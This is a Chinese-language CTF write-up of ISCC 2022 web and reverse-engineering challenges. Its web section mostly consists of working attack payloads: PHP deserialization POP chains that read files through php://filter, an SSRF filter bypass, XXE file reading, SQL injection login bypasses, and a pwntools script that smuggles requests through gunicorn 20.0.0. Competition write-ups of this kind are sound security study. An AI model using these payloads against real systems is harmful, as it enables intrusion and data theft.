然后试了半天,发现出题人tm傻逼,longitude
能写成langtitude
,还tm觉得这个单词意思是纬度,要传39°54'N
,然后纬度latitude
那边要传经度116°23'E
,然后传了还不对,分号要用′
...真想给出题人一脚,tm的首页给的示例被吃了吗?
ISCC{wQ1NXxs_108xKL08vE_aS190_1qzFSNO}
Pop2022
看名字就知道肯定是反序列化的题了。
<?php
echo "Happy New Year~ MAKE A WISH<br>";
if(isset($_GET["wish"])){
@unserialize($_GET["wish"]);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file="index.php"){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|../i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
大概看一下,链子应该是:
Try_Work_Hard
作为函数被调用,触发__invoke
,然后执行append($var)
,也就是等价于include($var)
,那就是说可以读文件,那给$var
搞个php+base64
伪协议把flag.php
的代码转成base64输出。- 那么怎么调用
Try_Work_Hard
呢?Make_a_Change
里的取属性值__get
可以把$effort
当作函数调用,只要让$effort
是个Try_Work_Hard
实体就行。 - 所以现在就是要找个取属性值的地方,而正好,
Road_is_Long
的__toString
里对$string
取了属性值page
,所以让$string
是Make_a_Change
实体就行。 - 那么现在就需要想办法找个文本处理的地方给塞个
Road_is_Long
实体进去,而正好,他自己的反序列化方法__wakeup
里就有调用preg_match
去处理$page
,那么让$page
也是个Road_is_Long
实体就完事。
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Make_a_Change{
public $effort;
}
$d = new Try_Work_Hard();
$c = new Make_a_Change();
$c -> effort = $d;
$b = new Road_is_Long();
$b -> string = $c;
$a = new Road_is_Long();
$a -> page = $b;
echo urlencode(serialize($a)); // 因为有`protected`,会有`x00`字符存在,编码了方便复制
得到O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
,打一下得到flag。
ISCC{SQVbsqL16_1saQBxaF30_fSsxQFS213}
这是一道代码审计题
在/static/code.txt
发现被加密的源码。
👛👜👝🐗👞👜👥👜👊👠👞👥🐟🐠🐱🐁🐗🐗🐗🐗👠👝🐟👚👦👥👫👩👦👣👖👢👜👰🐴🐴🐨🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗👩👜👥👛👜👩👖👫👜👤👧👣👘👫👜🐟🐙👠👥👛👜👯🐥👟👫👤👣🐙🐠🐁🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐙👐👦👬🐗👟👘👭👜🐗👥👦👫🐗👘👚👚👜👪👪🐗👫👦🐗👫👟👠👪🐗👧👘👞👜🐘🐙🐁🐁👛👜👝🐗👚👟👜👚👢👖👪👪👩👝🐟👬👩👣🐠🐱🐁🐗🐗🐗🐗👟👦👪👫👥👘👤👜🐗🐴🐗👬👩👣👧👘👩👪👜🐟👬👩👣🐠🐥👟👦👪👫👥👘👤👜🐁🐗🐗🐗🐗👫👩👰🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👥👦👫🐗👩👜🐥👤👘👫👚👟🐟🐞👟👫👫👧👪🐶🐱🐦🐦🐟🐶🐱👒🐤👓👮🐥👔👳🐟🐶🐱🐜👒👓👛👘🐤👝🐸🐤🐽👔👲🐩👴🐠🐠🐢🐞🐣🐗👬👩👣🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👥👦👫🐗👩👜🐥👤👘👫👚👟🐟🐞👟👫👫👧👪🐶🐱🐦🐦🐷🐟🐶🐱👒🐤👓👮🐥👔👳🐟🐶🐱🐜👒👓👛👘🐤👝🐸🐤🐽👔👲🐩👴🐠🐠🐢🐞🐣🐗👬👩👣🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👘👠👪👜🐗🐹👘👪👜🐼👯👚👜👧👫👠👦👥🐟🐙👬👩👣🐗👝👦👩👤👘👫🐗👜👩👩👦👩🐙🐠🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗🐗👩👜🐥👤👘👫👚👟🐟🐞👟👫👫👧👪🐶🐱🐦🐦🐷🐟🐶🐱👒🐤👓👮🐥👔👳🐟🐶🐱🐜👒👓👛👘🐤👝🐸🐤🐽👔👲🐩👴🐠🐠🐢🐞🐣🐗👬👩👣🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👡👬👛👞👜👖👠👧🐟👟👦👪👫👥👘👤👜🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗👋👩👬👜🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐗🐙👐👦👬🐗👥👦👫🐗👞👜👫🐗👫👟👜🐗👩👠👞👟👫🐗👚👣👬👜🐘🐙🐁🐗🐗🐗🐗🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👧👖👘👛👛👩👜👪👪🐗🐴🐗👪👦👚👢👜👫🐥👞👜👫👘👛👛👩👠👥👝👦🐟👟👦👪👫👥👘👤👜🐣🐞👟👫👫👧🐞🐠👒🐧👔👒🐫👔👒🐧👔🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👠👪👖👠👥👥👜👩👖👠👧👘👛👛👩👜👪👪🐟👠👧👖👘👛👛👩👜👪👪🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐙👠👥👥👜👩🐗👠👧🐗👘👛👛👩👜👪👪🐗👘👫👫👘👚👢🐙🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐗🐙👐👦👬🐗👥👦👫🐗👞👜👫🐗👫👟👜🐗👩👠👞👟👫🐗👚👣👬👜🐘🐙🐁🐗🐗🐗🐗👜👯👚👜👧👫🐗🐹👘👪👜🐼👯👚👜👧👫👠👦👥🐗👘👪🐗👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐗👪👫👩🐟👜🐠🐁🐗🐗🐗🐗👜👯👚👜👧👫🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐗🐙👬👥👢👥👦👮🐗👜👩👩👦👩🐙🐁🐁👛👜👝🐗👠👧🐩👣👦👥👞🐟👠👧👖👘👛👛👩🐠🐱🐁🐗🐗🐗🐗👩👜👫👬👩👥🐗👪👫👩👬👚👫🐥👬👥👧👘👚👢🐟🐙🐘👃🐙🐣🐗👪👦👚👢👜👫🐥👠👥👜👫👖👘👫👦👥🐟👠👧👖👘👛👛👩🐠🐠👒🐧👔🐁🐁👛👜👝🐗👠👪👖👠👥👥👜👩👖👠👧👘👛👛👩👜👪👪🐟👠👧🐠🐱🐁🐗🐗🐗🐗👠👧🐗🐴🐗👠👧🐩👣👦👥👞🐟👠👧🐠🐁🐗🐗🐗🐗👧👩👠👥👫🐟👠👧🐠🐁🐗🐗🐗🐗👩👜👫👬👩👥🐗👠👧🐩👣👦👥👞🐟🐞🐨🐩🐮🐥🐧🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐩🐫🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐩🐫🐗👦👩🐗👠👧🐩👣👦👥👞🐟🐞🐨🐧🐥🐧🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐩🐫🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐩🐫🐗👦👩🐗👠👧🐩👣👦👥👞🐟🐞🐨🐮🐩🐥🐨🐭🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐩🐧🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐩🐧🐗👦👩🐗👠👧🐩👣👦👥👞🐟🐞🐨🐰🐩🐥🐨🐭🐯🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐨🐭🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐨🐭🐗👦👩🐗👠👧🐩👣👦👥👞🐟🐞🐧🐥🐧🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐩🐫🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐩🐫🐁🐁👛👜👝🐗👮👘👝🐨🐟👠👧🐠🐱🐁🐗🐗🐗🐗👝👦👩👙👠👛👛👜👥👖👣👠👪👫🐗🐴🐗👒🐗🐞🐥🐞🐣🐗🐞🐧🐞🐣🐗🐞🐨🐞🐣🐗🐞🐩🐞🐣🐗🐞🐮🐞👔🐁🐗🐗🐗🐗👝👦👩🐗👮👦👩👛🐗👠👥🐗👝👦👩👙👠👛👛👜👥👖👣👠👪👫🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👠👧🐗👘👥👛🐗👮👦👩👛🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👮👦👩👛🐗👠👥🐗👠👧🐥👣👦👮👜👩🐟🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗👋👩👬👜🐁🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐁🐁👛👜👝🐗👡👬👛👞👜👖👠👧🐟👠👧🐠🐱🐁🐗🐗🐗🐗👠👝🐟👮👘👝🐨🐟👠👧🐠🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👪👣👜🐁🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👘👛👛👩🐗🐴🐗👘👛👛👩🐥👜👥👚👦👛👜🐟👜👥👚👦👛👠👥👞🐗🐴🐗🐙👬👫👝🐤🐯🐙🐠🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👧👧🐗🐴🐗👙👘👪👜🐭🐫🐥👜👥👚👦👛👜👪👫👩👠👥👞🐟👘👛👛👩🐠🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👧👧🐗🐴🐗👠👧👧🐥👪👫👩👠👧🐟🐠🐥👣👦👮👜👩🐟🐠🐥👛👜👚👦👛👜🐟🐠🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐟👠👧🐴🐴👠👧👧🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👞👣👦👙👘👣🐗👚👦👥👫👩👦👣👖👢👜👰🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👚👦👥👫👩👦👣👖👢👜👰🐗🐴🐗🐨🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗👋👩👬👜🐁🐗🐗🐗🐗🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜
解码得到:
def geneSign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"
def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if judge_ip(hostname):
return True
return False, "You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"
def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False
def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return False
check_ssrf
那边有个url
参数,猜测要传url
,测试一下,发现还是404,去看cookies
,发现有个提示:
所以那就login=0
改login=1
呗,不传参刷新页面,发现提示url=127.0.0.1
。
那就根据源码看看url
格式,check_ssrf
那边就一个return True
,只看这个分支的条件就完事,所以需要http://@
或者https://@
开头,然后跟的ip满足judge_ip
函数,然后judge_ip
又要绕过waf1
函数,waf1
函数就是说ip要不包括.0127
,然后judge_ip
那边对内置常量addr
进行base64
编码,addr
大概率是127.0.0.1
,然后和传入的ip相当就行。
那就base64
编码一下127.0.0.1
,得到MTI3LjAuMC4x
,然后传参呗,得到新的路由和cookies
。
那就去改改cookies
然后访问新路由,是个登录页面。
查看页面代码发现事件没挂上去,因为οnclick
的ο
不是o
,然后jQuery
也没拉取,用不了,然后标题是./flag.txt
。
<html>
<head>
<title>./flag.txt</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<script type="text/javascript">
function codelogin(){
var name = $("#name").val();
var password = $("#password").val();
if(name == "" || word == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><name>" + name + "</name><password>" + password + "</password></user>";
$.ajax({
contentType: "application/xml;charset=utf-8",
type: "POST",
url: "codelogin",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
</script>
</head>
<body>
<form>
<div id="loginFormMain">
<table style="width:468px;height:262px;background-color: gray;text-align: center;">
<tr>
<th colspan="2" align="center" >登录</th>
</tr>
<tr>
<td>用户名:<input id="name" type="text" style="width: 200px;height: 30px;" name="name"></td>
</tr>
<tr>
<td>密 码:<input id="password" type="password" style="width: 200px;height: 30px;" name="password"></td>
</tr>
<tr>
<td align="center" ><input type="button" style="cursor: pointer;font-style: inherit;" name="next" value="login" οnclick="javascript:codelogin()" />
</tr>
</table>
</div>
</form>
</body>
</html>
随便发个包发现果然返回code=0
,然后还返回了用户名。
那这既然又是xml
传参又有可控回显的,那就试试看用户名那边xxe
呗,发现果然能打。
既然刚才提示了./flag.txt
,那就/proc/self/cwd
指向当前进程目录走起,成功拿下。
ISCC{jQvb8-aqiuVtrX19-i71bl18c-ew08Sq0xf}
Easy-SQL
拿到题目,给的入口是?id=
,那么先试试看注入难度,直接?id=1 order by 1
还是能出来数据,然后故意打错一下就出不来数据,证明有注入,尝试union select
,发现select
被拦了,尝试了几手常用的绕过都没效果,于是sqlmap
一把梭,拿到数据库名security
,然后版本是MySQL 8
的,其他就没了,一看到这版本,那不铁定是利用新的table
语法吗!冲就完事了。
构造一首?id=0 union table users limit 1 offset 0
,成功拿到id=1
的数据,那么就往下找beaxia
呗。
?id=0 union table users limit 1 offset 7
时发现目标用户beaxia
。
但是题目要求是拿到beaxia
的邮箱地址,所以猜测在另一张表,猜一手表名emails
,构造出?id=0 union table emails limit 1 offset 7
,还真就是...
得到邮箱地址ypHeMPardErE.zip@beaxia.cn
,看着像是文件名,于是访问ypHeMPardErE.zip
,还真有个压缩包,下载下来打开是个php。
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = "/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^||| |"/i";
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET["id"]))
{
$id = $_GET["id"];
$sql = "select * from users where id=$id";
$safe = preg_match("/select/is", $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row["username"] . "</h3><br>";
echo "<h3>" . $row["passwd"] . "</h3>";
}
else
die("<br>Error!");
}
if (isset($_POST["username"]) && isset($_POST["passwd"]))
{
$username = strval($_POST["username"]);
$passwd = strval($_POST["passwd"]);
if ( !sqlWaf($passwd) )
die("damn hacker");
$sql = "SELECT * FROM users WHERE username="${username}" AND passwd= "${passwd}"";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row["username"] === "admin" && $row["passwd"] )
{
if ($row["passwd"] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>
看了下代码,意思是还有个套娃入口,是post
个username
和passwd
的,然后预期是查询返回的结果里username
是admin
,passwd
和输入的一样,但是根据刚才咱们遍历的情况,并没有admin
用户,那就注入个返回出来呗。
而看情况passwd
的防护很严,所以直接不管它,后面利用username
在结尾注释掉就行,所以咱们诸如点就是username
,思路就是select
个常量来返回。
于是构造个payload
,得到passwd=abc&username=' union select 1,"admin","abc" %23
,成功拿下。
ISCC{0H_1you*A2E-S0_Gre4t.Congt2!}
findme
打开环境,就一张图,看一下源码发现/unser.php
。
去/unser.php
发现是个反序列化题。
<?php
highlight_file(__FILE__);
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;
public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === "unserialize"){
$this -> yigei();
}
else{
$this -> giao();
}
}
}
public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}
public function yigei(){
echo "Your output: ".$this->un4;
}
public function giao(){
@eval($this->un2);
}
public function __wakeup(){
include $this -> un2."hint.php";
}
}
$data = $_POST["data"];
unserialize($data);
这里首先看到hint.php
,尝试访问一下,没404,说明这个文件真的存在。
然后看到Givemeanew
函数可以new
个类出来,而这题没有其他类,那么就是想让咱们new
原生类了。然后Givemeanew
函数在__destruct
反序列化时调用,条件是un0
不为空但是un2
为空,然后Givemeanew
的执行结果在un4
里面,所以需要调用yigei
函数来输出un4
,那么就得满足un3
是unserialize
。
链子大概理清楚了,那就想想该用啥原生类了。咱先打算去看看hint.php
的内容是啥,而原生类中有个SplFileObject
类,可以传入路径然后返回一个按行读取的迭代器,而咱们的迭代器存在un4
里,然后被echo
,也就是说咱只能读取到第一行。那就还得弄个php+base64
的伪协议路径去把文件内容搞成一行,然后一次性输出:
php://filter/read=convert.base64-encode/resource=hint.php
然后序列化字符串就是:
O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
去反序列化打一下得到hint:
既然说文件名爆破不了,那就联想到了原生类GlobIterator
,传入带通配符的路径,然后返回文件名迭代器,那么就是要调用new GlobIterator('f*.txt')
,那么序列化字符串就是:
O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
去反序列化打一下得到文件名:
访问得到flag。
ISCC{D19DSdw_SsS0716dswQsK_2tEN}
让我康康!
这题题目环境之前一直挂,终于抽空写出来了。
打开环境看代码,让去搜索flag
。
搜索flag
得到提示去访问fl4g
。
但是访问得到403
...
探测环境得到gunicorn 20.0.0
既然低于20.0.4
,那么http 请求走私
肯定是存在的了,这题考点应该也是在这。
具体分析文章:gunicorn 20.0.4 请求走私漏洞简析(含复现环境&Poc)
跟着文章的思路先写个访问/fl4g
的走私请求看看。
import pwn
req3 = b"rn".join([
b"GET / HTTP/1.1",
b"Host: 59.110.159.206:7020",
b"Content-Length: 0",
b"",
b"",
])
req2 = b"xxxxxxxx"+b"rn".join([
b"GET /fl4g HTTP/1.1",
b"Host: 59.110.159.206:7020",
b"Content-Length: "+str(len(req3)).encode(),
b"",
b"",
])
req1 = b"rn".join([
b"GET / HTTP/1.1",
b"Host: 59.110.159.206:7020",
b"Content-Length: "+str(len(req2)).encode(),
b"Sec-Websocket-Key1: x",
b"",
b"",
])
r = pwn.remote("59.110.159.206", 7020)
r.send(req1+req2+req3)
print(r.recvall(1).decode(), end="")
发现提示需要本地访问。
尝试了xff
等常见的伪装本地的手法,都没绕过去,把图片路径走私一下下载下来也没找到东西...
于是猜测可能是Haproxy
配置了在转发的时候加其他类似于xff
功能的请求头,那么这时候就需要一个回显最终请求头的地方了,这不就有现成的嘛。
那就走私一下这个search
的api,先设置正常body长度看看情况。
发现有自定义请求头回显过来了,但是理论上这时候只会有2字节的额外回显才对啊?
比对了下发现是Host
字段被改了,那为了方便理解,控制变量法搞起,成功回显了额外2字节。
大概解释一下,我们发送的连体包长这样:
GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
rn
而中间转发程序Haproxy
眼里的包长这样:
GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123
--------------------------------
GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
rn
上半个包的body
长度标记为137
是因为中间这个被当作请求主体的包加上xxxxxxxx
正好137
字节:
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123
然后根据Haproxy
的配置文件,给上半个包和下半个包都加上自定义头secr3t_ip: 你滴ip
,然后转发给处理程序gunicorn
,所以gunicorn
接收到的连体包长这样:
GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
secr3t_ip: 1.2.3.4rn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
secr3t_ip: 1.2.3.4rn
rn
但是处理程序gunicorn
眼里的包长这样:
GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
secr3t_ip: 1.2.3.4rn
rn
xxxxxxxx
--------------------------------
POST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
secr3t_ip: 1.2.3.4rn
rn
所以上半个请求返回了个首页,至于下半个请求,它的body
长度填了68
,那咱数数请求主体部分前68字节是啥:
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
se
所以,处理程序认为咱们的搜索词是:
test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
se
然后肯定搜不到嘛,就回显个0 search results for '搜索词'
,那么原本末尾的rn
2字节就被额外的secr3t_ip: 1.2.3.4
请求头给顶替掉来回显了。
所以回头构造一下fl4g
的走私请求,加上自定义请求头,成功拿下。
import pwn
req3 = b"rn".join([
b"GET / HTTP/1.1", # rn
b"Host: 59.110.159.206:7020", # rn
b"Content-Length: 0", # rn
b"", # rn
b"",
])
req2 = b"xxxxxxxx"+b"rn".join([
b"GET /fl4g HTTP/1.1", # rn
b"Host: 59.110.159.206:7020", # rn
b"Content-Length: "+str(len(req3)).encode(), # rn
b"secr3t_ip: 127.0.0.1", # rn
b"", # rn
b"",
])
# req2body = b"search=test123"
# req2 = b"xxxxxxxx"+b"rn".join([
# b"POST / HTTP/1.1", # rn
# b"Host: 59.110.159.206:7020", # rn
# b"Content-Type: application/x-www-form-urlencoded", # rn
# b"Content-Length: "+str(len(req2body)+len(req3)).encode(), # rn
# b"",
# req2body,
# ])
req1 = b"rn".join([
b"GET / HTTP/1.1", # rn
b"Host: 59.110.159.206:7020", # rn
b"Content-Length: "+str(len(req2)).encode(), # rn
b"Sec-Websocket-Key1: x", # rn
b"", # rn
b"",
])
r = pwn.remote("59.110.159.206", 7020)
r.send(req1+req2+req3)
result = r.recvall(1)
print(result.decode(), end="")
ISCC{SX1jskQ_JqnQC082_fSSafo1xzS961}
Reverse
GetTheTable
拿到题目尝试运行,打不开...
那就直接ida
打开吧。
这咋看咋像base58
,直接解试试。
ISCC{C4MqweJxJVaUa}
Amy's Code
直接ida
打开。
主要流程就是把输入给复制一份,然后经过sub_4115FF
处理,用sub_411433
判断一下就完事。
先看处理函数,跳了几次后来到sub_4128A0
,就是个foreach
的异或i
。
然后再看判断函数,跳了几次后来到sub_412550
,虽然代码有点绕,但实际上就是foreach
和LWHFUENGDJGEFHYDHIGJ
按位各自异或,然后和上面那个数组比较。
那么脚本思路就差不多出来了,随便写写脚本,直接拿下。
a = b"x95xa9x89x86xd4xbcxb1xb8xb1xc5xc0xb3x99x81xa8xa3xabix88xb8"
b = b"LWHFUENGDJGEFHYDHIGJ"
c = bytearray(20)
for i in range(20):
c[i] = a[i] - b[i]
c[i] ^= i
print(c)
ISCC{reverse_4APs1S}
How_decode
直接ida
打开。
长度已知18
,判长后把输入的char
类型数组给拷贝到了int
类型数组,经过encode
函数处理后和上面那个数组比较。
那么核心就是那个encode
函数,进去看发现是个xxtea
加密算法。
不过对比下标准的xxtea
加密函数就能发现,标准函数用的sum
是累加的,题目用的sum
是累减的,其他倒是没什么区别,所以下面写解密函数的时候,把sum
相关的负一下就行。
#include <iostream>
using namespace std;
int main() {
int key[4] = {"I", "S", "C", "C"};
int n = 18;
int flagI[18] = {
-617635010,
-459909124,
-448805673,
493624176,
1688025630,
1582825235,
-268279330,
866550227,
-1514328206,
513946485,
-1559238803,
279030348,
1890218899,
262252445,
931094443,
-1753102858,
1958698874,
-254663693,
};
int rounds = 52 / n + 6; // 8
int sum = rounds * -0x61C88647; // 需要反向
int y = flagI[0];
for (; rounds--;) {
for (int i=n-1; i>=0; i--) {
int z = flagI[(i + n - 1)%n];
y = flagI[i] -= ((y ^ sum) + (z ^ key[((sum >> 2) & 3) ^ (i & 3)])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
}
sum += 0x61C88647; // 需要反向
}
for (int i = 0; i < n; ++i)
cout << (char)flagI[i];
cout << endl;
// ISCC{xJeoq1K8It5i}
return 0;
}
直接拿下。
ISCC{xJeoq1K8It5i}
Sad Code
直接ida
打开。
一眼看到俩四元方程组,直接复制出来在线解。
c+7b-4a-2d=7792427005, 5d+3c-b-2a=6825082028, 2b+8d+10a-5c=22226494145, 7a+15b-3d-2c=32566836614
15a+35d-b-c=64815038875, 38c+a+d-24b=17913579048, 38b+32a-c-d=76024459363, a+41c-b-25d=10025449441
得到如下8个数:
a=1230193475 , b=2068010842, c=1262962245, d=1512918617
a=1095258183, b=1146105171, c=1128352594, d=1447446397
而这8个数是上面sub_413BDB
处理的结果,所以关键就看这个函数了。
看着是把hex字符串转成十进制的,所以把上面8个数转成十六进制就能拿到flag。
a=1230193475 ISCC
b=2068010842 {CWZ
c=1262962245 KGFE
d=1512918617 Z-NY
a=1095258183 AHPG
b=1146105171 DP-S
c=1128352594 CAKR
d=1447446397 VFG}
ISCC{CWZKGFEZ-NYAHPGDP-SCAKRVFG}
VigenereLike
拿ida
打开,好多C++ STL
的东西,改下变量名,方便辨认一点。
大概就是id
